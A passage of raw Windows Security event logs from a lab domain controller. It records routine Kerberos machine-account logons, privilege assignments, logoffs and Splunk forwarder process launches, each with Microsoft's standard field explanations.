(interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:56:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254111 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB6650 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254155 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7A09 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254154 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7B18 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254153 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7B62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254152 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7C02 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62363 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254151 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7C02 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254150 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7B62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 62362 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254149 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7B62 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254148 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7B18 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254147 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7B18 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254146 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB7A09 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62361 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254145 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7A09 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254156 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254157 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254158 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa50 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254159 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254163 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254162 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254161 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xB9329 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62365 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254160 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9329 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:57:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254164 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x944 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:57:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254165 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB7C02 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:57:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254168 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB49E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:57:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254167 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBB49E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62376 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:57:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254166 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBB49E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege 